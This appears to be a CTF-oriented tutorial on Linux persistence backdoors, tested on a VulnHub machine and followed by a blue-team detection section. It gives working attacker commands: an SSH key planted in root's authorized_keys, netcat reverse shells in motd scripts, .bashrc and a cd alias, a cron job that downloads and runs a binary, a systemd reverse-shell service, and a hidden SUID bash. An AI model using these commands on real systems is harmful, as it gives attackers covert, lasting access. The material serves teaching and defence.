Linux Backdoors

Photo by Dima Pechurin on Unsplash

In Attack-Defense CTF, leaving backdoors is an important part of maintaining access to the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.

Backdoors, what is it?

I’m not going to go into as much detail as Wikipedia, but here’s:

A backdoor is a hidden piece of code, script, or a program placed on a system for persistence purposes, so you don’t have to exploit the same system twice. It simply gives you quicker and instant access to the system.

Now that we know what a backdoor is, let’s find out where the attackers typically hide them in a Linux system!

For demonstration, I’ll be using the Pinky’s Palace machine from VulnHub as the victim server and let’s pretend it’s been totally compromised.

1. SSH: authorized_keys file

The authorized_keys, located at ~/.ssh/authorized_keys, contains a list of authorized users’ public keys. These public keys correspond to specific individuals who are granted access to log in to a particular account on your server.

The attackers could use that file for backdoor by inserting their own public keys. By doing so, they could falsely authorize themselves and gain instant access to the system through SSH.

Now let’s have a look at the image below which shows the exploitation steps to gain root access on the victim’s server (Pinky’s Palace).


Of course, as an attacker, I don’t want to repeat all these exploitation steps all over again to gain root access.

So instead, on my attacking machine, I can generate a new pair of SSH keys for backdoor purpose with the following command:

$ ssh-keygen -a 50 -t ed2551 -f backdoor_ssh -q -N ""

It should produces 2 files: one is a private key (backdoor_ssh) and the other is a public key (

Now by inserting the public key ( into the authorized_keys file of root account, I’ve authorized myself to gain root access via SSH.

$ mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZ.... root@kali' > /root/.ssh/authorized_keys


2. SSH motd

This is one of the cool tricks I’ve learned from HackTheBox machine called Traceback.

Motd (Message of the day) is the banner that appears when you login into a server using SSH. The messages can be constructed from scripts which you can find under /etc/update-motd.d/, at least for most Debian based distro. By default, other users don’t have write permission on that directory.

In the image below image, there is only one motd script called 10-uname. As I login into the machine using SSH, the output of the script gets printed.


As an attacker, where I’ve gained a root access, I could place a new script like reverse shell there as a backdoor and then I can just setup a netcat listener.

root@pinkys-palace:/etc/update-motd.d# echo -e '#!/bin/sh\nnc 9001 -e /bin/bash &' > 20-backdoor && chmod +x 20-backdoor

Now if someone SSH login into the server, the backdoor script will be executed and send a shell access to my netcat listener.


In the image above, I simulated an SSH login using low privilege account, but did you notice that I end up with a root access?

Here is the answer:

​ Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at ​ each login, and this information is concatenated in /var/run/motd. The order of script ​ execution is determined by the run-parts(8) –lsbsysinit option (basically alphabetical ​ order, with a few caveats).

3. User’s .bashrc - Interactive session

.bashrc is one of the startup scripts used by Bourne shell aka bash. If there is a user who uses bash as their login shell, then this .bashrc will be executed for each interactive session they launch.

Here are some actions that trigger the interactive session:


In the image above, I inserted a non malicious line script echo "I'm triggered" to my .bashrc. But now, as an attacker, I can put a something like reverse shell there and I will just wait for someone to log in to trigger it.

pinky@pinkys-palace:~$ echo 'nc 9001 -e /bin/bash >/dev/null &' > .bashrc


4. User’s .bashrc - Aliases

As an attacker, I can also put the backdoor in the users’ aliases!

Here is an example of using alias of cd command to create a backdoor in the form of (again) reverse shell.

root@pinkys-palace:~# alias cd='$(nc 9001 -e /bin/bash&); cd'


Here are some alias backdoors:

5. Cron jobs

Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler in Windows.

Here is an example of a backdoor using Cron job.

root@pinkys-palace:~# echo '* * * * * root cd /tmp; wget && chmod +x backdoor && ./backdoor' > /etc/cron.d/backdoor

What the task above does is it will download a malicious binary called ‘backdoor’ from my attacking machine, and the backdoor is then executed once every minute.


6. Backdoor as a Service

An attacker can also create a backdoor as a service (BaaS). Here is an example of BaaS in a single file (backdoor.service):

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ 0>&1"

When the service is started, it launches a reverse shell to the attacker.

root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service


It can be enabled on boot by issuing the following command:

root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service


The last one on this post is SUID. SUID allows other user to run an executable binary as the owner of the executable.

As an example, I can make a copy of bash binary (owned by root) called .backdoor (notice the dot) with SUID permission set to a low privilege user who has been compromised.


Why did I add a dot? Some people tend to just use ls -l rather than ls -la, and this becomes an advantage for attackers to put a backdoor in a dot file.

Blue team side

Before reading further, I’ll state that if your server (irl) gets hacked, it’s better to restore the server’s backup or completely rebuild it from scratch, because in reality, those backdoors can be obfuscated and combined with other techniques (not to mention there might be a rootkit too), making it difficult to detect/find.

Also what I share here might not be that effective, but here is how I usually deal with those backdoors in attack-defense CTF.

SSH keys and .bashrc.

Make sure to regularly check the all the users authorized_keys file.

In the image below, there is a public key with a foreign hostname kali instead of pinkys-palace, then you should suspect it.


Well, actually, the attackers might have tricked it to look like it was a legitimate one.

My workaround here is why don’t we create a “skeleton” file of all the authorized_keys files and set a cronjob which automatically reverts these files back to its original state and I might perform this remotely via scp. This can be applied as well to handle backdoor in .bashrc .

You can find the skeleton file of .bashrc at /etc/skel.

SSH motd

It’s not always placed under /etc/update-motd.d/, but make sure the motd directory is only writable by root, note the default list of motd files and apply the same thing as above (skeleton file) because the attackers might have inserted a backdoor in the original files.

We could also do some ‘forensics’ using timestamp:

root@MSI:/etc/update-motd.d# ls --full-time

For example, these files with the timestamp 000000000 (nano) in the image below have most likely not been modified and are still in their original state.


After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.


Cronjobs and Services

For this one, monitoring is the key. We can monitor the network sockets and processes using the netstat or the ss command and the ps command. Be suspicious to any program if it has an IP and port supplied as its arguments. Also make sure these commands aren’t aliased by the attackers (like this one).

For this, we can look for any unwanted open ports using this command:

$ netstat -antp | grep LISTEN

To find a suspicious connection we can use this command:

$ netstat -antp | grep ESTABLISHED


Sometimes the state of a reverse shell backdoor is neither ESTABLISHED nor LISTEN but SYN_SENT. This occurs when the backdoor fail to reach out the attacker. To find this we can use the following command:

$ netstat -antp | grep SYN_SENT

Next, we could check each user’s crontab using the following commands:

$ for user in $(cat /etc/passwd | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

# Only users who have login shell
$ for user in $(cat /etc/passwd | grep sh$ | cut -f1 -d: ); do echo $user; crontab -u $user -l; done

There is also the ps -f command which is pretty good at visualizing the process tree. For example, in the image below we can easily tell that the “culprit” that keeps opening the HTTPS port (443) might be in the .bashrc file because it gets triggered every time we launch a bash shell (interactive session).


If you prefer the detailed view, consider to use ps auxfww to show process tree with username, TTY, and a wide output.

I also like to use the watch command to actively monitor the network sockets and processes.

# monitor process
$ watch -n 1 "ps auxfww | grep suspected-process"
# monitor net socket
$ watch -n 1 "netstat -antp"
# monitor net socket with sus IP
$ watch -n1 "ss -atp | grep '10.14\|168.24'"

For a backdoor that run as a service, we can try to list all the services with the following command and see if there’s an unwanted one.

$ systemctl list-unit-files --type=service

Or we can also directly visit the services directory. It’s depends on what OS the server is using, but we can start to look at /lib/systemd/ and sort them by date modified.

$ find /lib/systemd -type f -iname '*\.service' -exec ls -lrt "{}" +;

Finding SUID

To find some suspicious SUID we can use the find commands. It can also detect the SUID that started with dot!

root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/null


Sorry for my stupidity, I forget to update this section. With -perm 4755, you won’t find a file with permissions set to 4755, 4765, 4701, etc. So we can change that to -perm -u=s which will look for the SUID permission (the s / 4 part).

$ find / -type f -perm -u=s 2>/dev/null

Okay, that’s all in this post, I hope you like it.